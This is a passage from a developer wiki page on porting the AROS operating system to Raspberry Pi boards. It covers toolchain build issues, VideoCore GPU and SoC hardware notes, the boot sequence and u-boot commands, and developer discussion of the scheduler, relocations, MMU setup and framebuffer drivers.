paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with 